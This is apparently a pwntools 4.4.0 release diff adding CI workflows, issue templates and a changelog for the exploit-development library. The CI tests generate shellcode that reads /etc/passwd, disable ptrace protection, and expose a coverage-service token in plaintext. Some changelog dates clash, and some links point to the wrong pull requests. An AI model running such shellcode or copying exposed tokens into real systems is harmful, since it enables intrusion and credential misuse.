Release 4.4.0

This looks like the first major pwntools vuln!
And it even got its own task on Hitcon CTF 2020.

Fixes #1427

.coveragerc

@@ -1,8 +1,12 @@
 [run]
 branch = True
+parallel = True
+concurrency = thread,multiprocessing
 omit =
     */constants/*
 source =
     pwn
     pwnlib
-    ~/.pwntools-cache/
+    ~/.pwntools-cache-2.7/
+    ~/.pwntools-cache-3.8/
+disable_warnings = module-not-imported

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,54 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: backport-required, bug
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!
+
+## Update Pwntools First
+
+When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
+
+## Debug Output
+
+Having the extra debug output really helps us, and might help you diagnose the problem yourself.
+
+When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
+
+```sh
+$ python exploit.py DEBUG LOG_FILE=log.txt
+```
+
+You should see `[DEBUG]` statements that show what's happening behind the scenes:
+
+```
+[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
+[DEBUG] Sent 0x7 bytes:
+    'whoami\n'
+[DEBUG] Sent 0x5 bytes:
+    'exit\n'
+[+] Receiving all data: Done (11B)
+[DEBUG] Received 0xb bytes:
+    'crashheap\n'
+[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
+```
+
+## Verify on Ubuntu
+
+If possible, please verify that your issue occurs on 64-bit Ubuntu 18.04.  We provide a Dockerfile based on Ubuntu 18.04 via `docker.io` to make this super simple, no VM required!
+
+```sh
+# Download the Docker image
+$ docker pull pwntools/pwntools:stable
+
+# Boot the image
+$ docker run -it pwntools/pwntools:stable
+
+pwntools@7dc3ef409476:~$ python
+>>> from pwn import *
+>>> # Test your code here
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: feature
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.
+
+If you've got an idea for a new feature, please provide information about:
+
+* What the feature does
+* Why the feature should exit
+* What tests should be included
+
+If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!

.github/ISSUE_TEMPLATE/question.md

@@ -0,0 +1,18 @@
+---
+name: Question
+about: Ask us a question about Pwntools
+title: ''
+labels: question
+assignees: ''
+
+---
+
+Thanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.
+
+## Check the Documentation
+
+Pwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com
+
+## Debug Output
+
+If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.

.github/PULL_REQUEST_TEMPLATE.md

@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
 [contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
 [testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
 [change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
+
+## Changelog
+
+After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
+You can look at the existing changelog for examples of how to do this.

.github/workflows/changelog.yml

@@ -0,0 +1,29 @@
+name: Changelog
+on: [pull_request]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Check changelog for updates
+      run: |
+        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
+           echo 'Changelog updated :D'
+        else
+           if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
+              echo 'Major changes detected, changelog required!'
+              false
+           else
+              echo 'Minor changes detected, no changelog required!'
+           fi
+        fi

.github/workflows/ci.yml

@@ -0,0 +1,233 @@
+name: Continuous Integration
+on: [push, pull_request]
+
+jobs:
+  test:
+    strategy:
+      matrix:
+        python-version: [2.7, 3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Git History
+      run: |
+        git fetch origin
+        git log --oneline --graph -10
+
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: Verify tag against version
+      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        set -x
+        GITHUB_TAG=${GITHUB_REF#refs/tags/}
+        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
+        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
+        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
+        [ "$vsetup" = "$vpwnlib" ]
+        [ "$GITHUB_TAG" = "$vsetup" ]
+
+    - name: Detect whether java is needed
+      id: java-needed
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
+          echo "Found release or important branch ($GITHUB_REF), forcing tests."
+        elif ! git show "origin/$GITHUB_BASE_REF"..HEAD >/dev/null; then
+          echo 'Incorrect commit range, forcing android tests.'
+        elif git log --stat "origin/$GITHUB_BASE_REF"..HEAD | grep -iE 'android|\<adb\>'; then
+          echo 'Found Android-related commits, forcing tests.'
+        else
+          # clear files that cause Android doctests
+          : > docs/source/adb.rst > docs/source/protocols/adb.rst
+          exit 0
+        fi
+        echo ::set-output name=need::openjdk-8-jre-headless
+
+    - name: Install Linux dependencies
+      env:
+        ANDROID_JRE: ${{ steps.java-needed.outputs.need }}
+      run: |
+        sudo apt-get update
+        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
+          ash bash-static dash ksh mksh zsh \
+          pandoc gdb gdbserver socat sshpass \
+          binutils-multiarch qemu-user-static \
+          binutils-aarch64-linux-gnu \
+          binutils-arm-linux-gnueabihf \
+          binutils-mips-linux-gnu \
+          binutils-msp430 \
+          binutils-powerpc-linux-gnu \
+          binutils-s390x-linux-gnu \
+          binutils-sparc64-linux-gnu \
+          gcc-multilib \
+          libc6-dbg \
+          $ANDROID_JRE
+
+    - name: Testing Corefiles
+      run: |
+        ulimit -a
+        ulimit -c unlimited
+        cat /proc/sys/kernel/core_pattern
+        cat /proc/sys/kernel/core_uses_pid
+        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash;) || true
+
+    - name: Install Android AVD
+      if:  steps.java-needed.outputs.need
+      run: |
+        USER=travis source travis/install.sh
+        set | egrep '^(ANDROID|PATH)' >.android.env
+
+    - name: Set up SSH
+      run: |
+        travis/ssh_setup.sh
+
+    - name: Install dependencies
+      run: |
+        pip install --upgrade pip
+        pip install --upgrade flake8 appdirs
+        python setup.py egg_info
+        pip install --upgrade --editable .
+
+    - name: Sanity checks
+      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+
+    - name: Install documentation dependencies
+      run:  pip install -r docs/requirements.txt
+
+    - name: Manually install non-broken Unicorn
+      run:  pip install unicorn==1.0.2rc3
+
+    - name: Version Check
+      run:  PWNLIB_NOTERM=1 pwn version
+
+    - name: Coverage doctests
+      run: |
+        source .android.env || :
+        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
+        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
+
+    - name: Coverage running examples
+      run: |
+        export TERM=linux
+        set -x
+        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
+        python travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
+        coverage run examples/asm.py
+        coverage run examples/asm.py
+        coverage run examples/text.py
+        # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
+
+    - name: Coverage running commandline tools
+      run: |
+        export TERM=linux
+        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
+        set -x
+
+        pwn cyclic 32
+        pwn cyclic -l 0x62616161
+        pwn cyclic -a ab
+        echo
+
+        pwn shellcraft --list |tail
+        pwn shellcraft -l --syscalls |tail
+        pwn shellcraft -l execve
+        pwn shellcraft --show i386.linux.loader_append
+        pwn shellcraft -f asm --color amd64.linux.sh
+        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
+        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
+        pwn shellcraft -f str aarch64.linux.sh </dev/null
+        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
+        pwn shellcraft -fp aarch64.trap
+
+        pwn disasm --color ff3424c3ebfe
+        pwn asm -f hex nop
+
+        pwn hex abcd
+        pwn unhex 4141 4141
+
+        cat /dev/urandom | pwn phd --color -c 256 -s 2
+        pwn phd -l 0x3d --color=always /etc/os-release
+
+        pwn checksec /bin/bash
+
+        pwn errno 2
+        pwn errno -1
+        pwn errno EADDRINUSE
+
+        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
+        pwn constgrep ^MAP_ 0
+        pwn constgrep -e O_RDWR
+
+    - name: Build source and wheel distributions
+      run: |
+        python setup.py sdist
+        python setup.py bdist_wheel --universal
+
+    - uses: actions/upload-artifact@v2
+      with:
+        name: packages
+        path: dist/
+
+    - name: Upload coverage to coveralls.io
+      run: |
+        coverage combine
+        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
+
+  staging-merge:
+    runs-on: ubuntu-latest
+    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
+    needs: test
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 20
+    - name: Push changes to protected branch
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        BRANCH=${GITHUB_REF#refs/heads/}
+        TARGET=${BRANCH%-staging}
+        git branch -f "$TARGET"
+        git push origin "$TARGET"
+        git push origin --delete "$BRANCH"
+
+  pypi:
+    runs-on: ubuntu-latest
+    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+    needs: test
+    steps:
+    - name: Download artifacts
+      uses: actions/download-artifact@v2
+      with:
+        name: packages
+        path: dist
+
+    - name: Publish package
+      uses: pypa/[email protected]
+      with:
+        user: __token__
+        password: ${{ secrets.pypi_password }}
+
+    - if: failure()
+      run: ls -R

.github/workflows/lint.yml

@@ -0,0 +1,35 @@
+name: Lint
+on: [push, pull_request]
+
+jobs:
+  lint:
+    strategy:
+      matrix:
+        python-version: [3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: Critical lint
+      run: |
+        pip install flake8
+        flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+
+    - name: Style lint
+      run: |
+        flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+        flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
+        flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'

.github/workflows/merge-conflict.yml

@@ -0,0 +1,28 @@
+name: Check for merge markers
+on: [pull_request]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  mergecheck:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v2
+      with:
+        fetch-depth: 0
+
+    - name: Check for merge conflict markers commited
+      run: |
+        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
+            echo 'WARNING: Merge marker commits found in history.'
+            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
+                echo 'ERROR: Merge markers still present! Do something!'
+                exit 1
+            fi
+        else
+            echo 'Congrats! All the merges you did were clean or resolved correctly :)'
+        fi

.github/workflows/pylint.yml

@@ -0,0 +1,36 @@
+name: PyLint
+on: [pull_request]
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        python-version: [3.8]
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v2
+    - name: Cache for pip
+      uses: actions/cache@v1
+      id: cache-pip
+      with:
+        path: ~/.cache/pip
+        key: ${{ matrix.os }}-cache-pip
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v1
+      with:
+        python-version: ${{ matrix.python-version }}
+
+    - name: PyLint
+      run: |
+        set -x
+        pip install pylint
+        pylint --exit-zero --errors-only  pwnlib > current.txt
+        git fetch origin
+        git checkout origin/"$GITHUB_BASE_REF"
+        pylint --exit-zero --errors-only  pwnlib > base.txt
+        if diff base.txt current.txt | grep '>'; then
+          false
+        fi

.gitignore

@@ -16,4 +16,4 @@ venv
 *.egg-info
 *.core
 .coverage
-.tox
+.coverage.*

.travis.yml

@@ -1,9 +1,7 @@
-dist: xenial
 language: python
 addons:
   apt:
     packages:
-    - gcc-multilib
     - lib32stdc++6
     - ash
     - bash
@@ -13,22 +11,31 @@ addons:
     - zsh
     - pandoc
     - gdb
+    - socat
+    - sshpass
     - binutils
     - qemu-user-static
     - binutils-multiarch
     - binutils-aarch64-linux-gnu
     - binutils-arm-linux-gnueabihf
     - binutils-mips-linux-gnu
+    - binutils-msp430
     - binutils-powerpc-linux-gnu
+    - binutils-s390x-linux-gnu
+    - binutils-sparc64-linux-gnu
+    - bash-static
 cache:
     - pip
     - directories:
         - usr
         - /home/travis/virtualenv/python2.7.15/lib/python2.7/site-packages/
         - /home/travis/virtualenv/python2.7.15/bin/
+        - /home/travis/virtualenv/python3.8.*/lib/python3.8/site-packages/
+        - /home/travis/virtualenv/python3.8.*/bin/
+        - docs/build/doctest/.doctrees
 python:
-  - "2.7.15"
-  - "3.6"
+  - "2.7"
+  - "3.8"
 before_install:
   - echo $-
   - source travis/install.sh
@@ -36,7 +43,7 @@ before_install:
   - echo $-
 install:
   - pip install --upgrade pip
-  - pip install --upgrade appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
+  - pip install --upgrade flake8 appdirs # https://github.com/ActiveState/appdirs/issues/89#issuecomment-282326570
   - python setup.py egg_info      # pypa/pip#6275
   - pip install --upgrade --editable .
   - pip install --upgrade --requirement docs/requirements.txt
@@ -45,8 +52,13 @@ before_script:
   - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
   - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
   - PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+  - sudo sh -c "echo 0 > /proc/sys/kernel/yama/ptrace_scope"
 script:
+  # stop the build if there are Python syntax errors or undefined names
+  - flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+  # exit-zero treats all errors as warnings.  The GitHub editor is 127 chars wide
   - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest
+  - coverage combine
 after_success:
   - coveralls
   - source travis/update_demo.sh

CHANGELOG.md

@@ -9,10 +9,23 @@ The table below shows which release corresponds to each branch, and what date th
 
 | Version          | Branch   | Release Date           |
 | ---------------- | -------- | ---------------------- |
-| [4.2.0](#420)    | `dev`    | Feb 10, 2020 (planned)
-| [4.1.0](#410)    | `beta`   | Jan 30, 2020 (planned)
-| [4.0.0](#400)    | `stable` | Jan 09, 2020
+| [4.6.0](#460)    | `dev`    | May 29, 2020 (planned)
+| [4.5.0](#450)    | `beta`   | Apr 29, 2020 (planned)
+| [4.4.0](#440)    | `stable` | Mar 29, 2020
+| [4.3.1](#431)    |          | Nov 29, 2020
+| [4.3.0](#430)    |          | Oct 20, 2020
+| [4.2.0](#420)    |          | Jul 3, 2020
+| [4.1.7](#417)    |          | Jun 30, 2020
+| [4.1.5](#415)    |          | Jun 27, 2020
+| [4.1.4](#414)    |          | Jun 26, 2020
+| [4.1.3](#413)    |          | Jun 23, 2020
+| [4.1.2](#412)    |          | Jun 5, 2020
+| [4.1.1](#411)    |          | Jun 3, 2020
+| [4.1.0](#410)    |          | May 8, 2020
+| [4.0.1](#401)    |          | Jan 22, 2020
+| [4.0.0](#400)    |          | Jan 09, 2020
 | [3.13.0](#3130)  |          | Nov 5, 2019
+| [3.12.2](#3122)  |          | Jan 8, 2019
 | [3.12.1](#3121)  |          | Sept 17, 2018
 | [3.12.0](#3120)  |          | Feb 22, 2018
 | [3.11.0](#3110)  |          | Jan 3, 2018
@@ -45,13 +58,178 @@ The table below shows which release corresponds to each branch, and what date th
 | [3.0.0](#300)    |          | Aug 20, 2016
 | [2.2.0](#220)    |          | Jan 5, 2015
 
-## 4.2.0 (`dev`)
+## 4.6.0 (`dev`)
 
-To be released on Feb 10, 2020.
 
-## 4.1.0 (`beta`)
 
-To be released on Jan 30, 2020.
+## 4.5.0 (`beta`)
+
+- [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default)
+- [#1695][1695] Allow using GDB Python API
+- [#1735][1735] Python 3.9 support in safeeval
+- [#1738][1738] Which function support custom search path
+  - process also looks now at `env['PATH']` to find the path for the executable
+- [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch)
+- [#1757][1757] update cache directories
+- [#1758][1758] Remove eval from cli
+- [#1780][1780] Re-add Python2 to the official Dockerfile
+- [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI
+- [#1811][1811] Remove unnecessary `pwn.toplevel.__all__`
+- [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf`
+- [#1841][1841] Add colored_traceback
+- [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple
+- [#1833][1833] Add pwnlib.filesystem module
+
+[1261]: https://github.com/Gallopsled/pwntools/pull/1261
+[1695]: https://github.com/Gallopsled/pwntools/pull/1695
+[1735]: https://github.com/Gallopsled/pwntools/pull/1735
+[1738]: https://github.com/Gallopsled/pwntools/pull/1738
+[1742]: https://github.com/Gallopsled/pwntools/pull/1742
+[1757]: https://github.com/Gallopsled/pwntools/pull/1757
+[1758]: https://github.com/Gallopsled/pwntools/pull/1758
+[1780]: https://github.com/Gallopsled/pwntools/pull/1780
+[1941]: https://github.com/Gallopsled/pwntools/pull/1941
+[1811]: https://github.com/Gallopsled/pwntools/pull/1811
+[1827]: https://github.com/Gallopsled/pwntools/pull/1827
+[1841]: https://github.com/Gallopsled/pwntools/pull/1841
+[1839]: https://github.com/Gallopsled/pwntools/pull/1839
+[1833]:  https://github.com/Gallopsled/pwntools/pull/1833
+
+## 4.4.0 (`stable`)
+
+- [#1541][1541] Use `context.newline` for tubes by default
+- [#1602][1602] Fix bytes handling in ssh tubes
+- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390
+- [#1616][1616] Fix `cyclic` cli for 64 bit integers
+- [#1632][1632] Enable usage of Pwntools in jupyter
+- [#1633][1633] Open a shell if `pwn template` cannot download the remote file
+- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
+- [#1651][1651] Make `pwn shellcraft` faster
+- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
+- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)
+- Fix syscall instruction lists for SROP on `i386` and `amd64`
+- Fix migration to another ROP
+- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
+- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`
+- [#1678][1678] ROPGadget multibr
+- [#1682][1682] ROPGadget multibr fix
+- [#1687][1687] Actually import `requests` when doing `from pwn import *`
+- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers
+- [#1692][1692] Remove python2 shebangs where appropriate
+- [#1703][1703] Update libcdb buildid offsets for amd64 and i386
+- [#1704][1704] Try https://libc.rip/ for libcdb lookup
+
+[1541]: https://github.com/Gallopsled/pwntools/pull/1541
+[1602]: https://github.com/Gallopsled/pwntools/pull/1602
+[1606]: https://github.com/Gallopsled/pwntools/pull/1606
+[1616]: https://github.com/Gallopsled/pwntools/pull/1616
+[1632]: https://github.com/Gallopsled/pwntools/pull/1632
+[1633]: https://github.com/Gallopsled/pwntools/pull/1633
+[1644]: https://github.com/Gallopsled/pwntools/pull/1644
+[1651]: https://github.com/Gallopsled/pwntools/pull/1651
+[1654]: https://github.com/Gallopsled/pwntools/pull/1654
+[1667]: https://github.com/Gallopsled/pwntools/pull/1667
+[1673]: https://github.com/Gallopsled/pwntools/pull/1673
+[1675]: https://github.com/Gallopsled/pwntools/pull/1675
+[1678]: https://github.com/Gallopsled/pwntools/pull/1678
+[1682]: https://github.com/Gallopsled/pwntools/pull/1679
+[1687]: https://github.com/Gallopsled/pwntools/pull/1687
+[1688]: https://github.com/Gallopsled/pwntools/pull/1688
+[1692]: https://github.com/Gallopsled/pwntools/pull/1692
+[1703]: https://github.com/Gallopsled/pwntools/pull/1703
+[1704]: https://github.com/Gallopsled/pwntools/pull/1704
+
+## 4.3.1
+
+- [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!)
+
+[1732]: https://github.com/Gallopsled/pwntools/pull/1732
+
+## 4.3.0
+
+- [#1576][1576] Add `executable=` argument to `ELF.search`
+- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
+- [#1592][1592] Fix over-verbose logging of process() environment
+- [#1593][1593] Colorize output of `pwn template`
+- [#1601][1601] Add `pwn version` command line tool
+- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
+- [#1613][1613] Permit `--password` for `pwn template`
+- [#1616][1616] Fix `cyclic` cli for 64 bit integers
+- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
+- [#1621][1621] Permit negative values in flat() and fit()
+
+[1576]: https://github.com/Gallopsled/pwntools/pull/1576
+[1584]: https://github.com/Gallopsled/pwntools/pull/1584
+[1592]: https://github.com/Gallopsled/pwntools/pull/1592
+[1593]: https://github.com/Gallopsled/pwntools/pull/1593
+[1601]: https://github.com/Gallopsled/pwntools/pull/1601
+[1605]: https://github.com/Gallopsled/pwntools/pull/1605
+[1613]: https://github.com/Gallopsled/pwntools/pull/1613
+[1616]: https://github.com/Gallopsled/pwntools/pull/1616
+[1564]: https://github.com/Gallopsled/pwntools/pull/1564
+[1621]: https://github.com/Gallopsled/pwntools/pull/1621
+
+## 4.2.1
+
+- [#1625][1625] GDB now properly loads executables with QEMU
+- [#1663][1663] Change lookup algorithm of `adb.which`
+- [#1699][1699] Fix broken linux shellcraft templates
+
+[1625]: https://github.com/Gallopsled/pwntools/pull/1625
+[1699]: https://github.com/Gallopsled/pwntools/pull/1699
+
+## 4.2.0
+
+- [#1436][1436] Add ret2dlresolve automation
+- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
+- Miscellanous improvements to DynElf and fmtstr leaker (see examples/fmtstr/exploit2.py)
+- [#1454][1454] Support for windows console colors
+
+[1436]: https://github.com/Gallopsled/pwntools/pull/1436
+[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
+[1454]: https://github.com/Gallopsled/pwntools/pull/1454
+
+## 4.1.7 (`stable`)
+
+- [#1615][1615] Fix aarch64 pushstr and pushstr_array
+
+[1615]: https://github.com/Gallopsled/pwntools/pull/1454
+
+## 4.1.5
+
+- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
+
+[1517]: https://github.com/Gallopsled/pwntools/pull/1517
+
+## 4.1.4
+
+- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
+
+[1609]: https://github.com/Gallopsled/pwntools/pull/1609
+
+## 4.1.3
+
+- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
+  - Also fix `run_in_new_terminal` for Py2 unicode strings
+- [#1595][1595] Fix ssh.process(timeout=)
+
+[1590]: https://github.com/Gallopsled/pwntools/pull/1590
+[1595]: https://github.com/Gallopsled/pwntools/pull/1595
+
+## 4.1.2
+
+- Pwntools requires `six` v.1.12.0 or higher
+
+## 4.1.1
+
+- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
+- Fix wrong ELF/context unpack handling (c4c11a37)
+- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
+- Update Corefile warnings and replace asserts with normal checks (#1526)
+- several py2-py3 issues (#1451)
+- Fix cyclic command
+
+## 4.1.0
 
 - [#1316][1316] Fix connect shellcraft in python 3
 - [#1323][1323] Fix issues related with debugging
@@ -60,10 +238,21 @@ To be released on Jan 30, 2020.
 - [#1241][1241] Launch QEMU with sysroot if specified
 - [#1218][1218] Support for FileStructure exploitation
 
-[1241]: https://github.com/Gallopsled/pwntools/pulls/1218
-[1218]: https://github.com/Gallopsled/pwntools/pulls/1218
+[1316]: https://github.com/Gallopsled/pwntools/pull/1316
+[1323]: https://github.com/Gallopsled/pwntools/pull/1323
+[1001]: https://github.com/Gallopsled/pwntools/pull/1001
+[1389]: https://github.com/Gallopsled/pwntools/pull/1389
+[1241]: https://github.com/Gallopsled/pwntools/pull/1241
+[1218]: https://github.com/Gallopsled/pwntools/pull/1218
 
-## 4.0.0 (`stable`)
+## 4.0.1
+
+- [#1412][1412] `recvline_pred()` and similar do not reorder data
+- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
+
+[1412]: https://github.com/Gallopsled/pwntools/pull/1412
+
+## 4.0.0
 
 - **Python 3 support! <3**
 - [#1402][1402] Fix serialtube in python 3
@@ -75,12 +264,13 @@ To be released on Jan 30, 2020.
 - [#1202][1202] Docker: Kill 14 layers in pwntools base images
 - [#1182][1182] shellcraft.dupio() for mips
 
-[1391]: https://github.com/Gallopsled/pwntools/pulls/1391
-[1317]: https://github.com/Gallopsled/pwntools/pulls/1317
-[1285]: https://github.com/Gallopsled/pwntools/pulls/1285
-[1216]: https://github.com/Gallopsled/pwntools/pulls/1216
-[1202]: https://github.com/Gallopsled/pwntools/pulls/1202
-[1182]: https://github.com/Gallopsled/pwntools/pulls/1182
+[1402]: https://github.com/Gallopsled/pwntools/pull/1402
+[1391]: https://github.com/Gallopsled/pwntools/pull/1391
+[1317]: https://github.com/Gallopsled/pwntools/pull/1317
+[1285]: https://github.com/Gallopsled/pwntools/pull/1285
+[1216]: https://github.com/Gallopsled/pwntools/pull/1216
+[1202]: https://github.com/Gallopsled/pwntools/pull/1202
+[1182]: https://github.com/Gallopsled/pwntools/pull/1182
 [76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
 
 ## 3.13.0
@@ -91,32 +281,16 @@ To be released on Jan 30, 2020.
 - [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
 - [#1292][1292] Provide correct arch name to gdb for sparc64
 
-[1175]: https://github.com/Gallopsled/pwntools/pulls/1175
-[1204]: https://github.com/Gallopsled/pwntools/pulls/1355
-[1277]: https://github.com/Gallopsled/pwntools/pulls/1277
-[1292]: https://github.com/Gallopsled/pwntools/pulls/1292
-[1355]: https://github.com/Gallopsled/pwntools/pulls/1355
-
-## 3.12.1
-
-- [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
-- [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
-- [5fdc08][5fdc08] Work around broken `pidof` on Android
-- [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
-- [#1094][1094] Make hexdump output alignment more consistent
-- [#1096][1096] `flat()` and `fit()` are now the same function
-
-[1104]: https://github.com/Gallopsled/pwntools/pull/1104
-[1101]: https://github.com/Gallopsled/pwntools/pull/1101
-[1094]: https://github.com/Gallopsled/pwntools/pull/1094
-[1096]: https://github.com/Gallopsled/pwntools/pull/1096
-[5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
-[63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed
+[1175]: https://github.com/Gallopsled/pwntools/pull/1175
+[1204]: https://github.com/Gallopsled/pwntools/pull/1204
+[1277]: https://github.com/Gallopsled/pwntools/pull/1277
+[1292]: https://github.com/Gallopsled/pwntools/pull/1292
+[1355]: https://github.com/Gallopsled/pwntools/pull/1355
 
